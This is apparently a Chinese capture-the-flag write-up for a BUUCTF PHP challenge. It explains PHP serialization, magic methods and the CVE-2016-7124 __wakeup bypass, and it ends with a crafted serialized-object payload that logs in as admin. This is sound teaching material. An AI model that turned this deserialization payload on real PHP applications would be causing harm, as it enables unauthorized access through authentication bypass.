0x00 BUUCTF [极客大挑战2019] WEB PHP
0x01 题目
页面提示有备份网站的习惯,www.zip下载成功
查看class.php发现这样一段代码

0x02 魔术方法
分析以上代码可知我们需要让username=admin password=100
,但是直接post这两个变量是不可取的,因为我们可以看到,在__destruct()
之前有这样一个函数__wakeup()
这些函数在官方被称作魔术方法。

对于_wakeup()和_sleep()函数,官方文档给出的解释是这样的:

则通过以上的描述,我们可以理解为unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup方法,同样的,serialize()会检查类中是否存在__sleep() 方法,如果存在,该方法会先被调用再执行序列化操作。也就是说我们需要绕过__wakeup魔法函数去执行__destruct()函数,不然都会先执行_wakeup()把username改成guest。
0x03 序列化与反序列化
序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()
反序列化:恢复原先被序列化的变量 函数: unserialize()
序列化字符串、数组、数字举例:
<?php
$test1 = "hello world";
$test2 = array("hello","world");
$test3 = 123456;
echo serialize($test1); // s:11:"hello world"; 序列化字符串
echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
echo serialize($test3); // i:123456;
?>
序列化对象举例:
<?php
class hello{
public $test4 = "hello,world";
}
$test = new hello();
echo serialize($test); // O:5:"hello":1:{s:5:"test4";s:11:"hello,world";} 序列化对象 首字母代表参数类型 O->Objext S->String...
?>
而且!序列化public private protect参数会产生不同结果,举例如下:
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>
对于序列化后各部分含义,找到了这张图用来参考:

test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3
0x04 __wakeup()魔术方法绕过(CVE-2016-7124)
漏洞影响版本
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞产生原因:
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值>真实的属性个数时会跳过__wakeup的执行。
0x05 回到题目
根据以上的介绍我们来分析这个题目,我们需要绕过_wakeup()函数使其直接进到_destruct(),然后进行构造。绕过方法就是让对象属性的个数大于真实个数,用以下代码进行构造:
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$s = serialize($a);
echo $s;
?>
结果为:

所以payload是:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
网友评论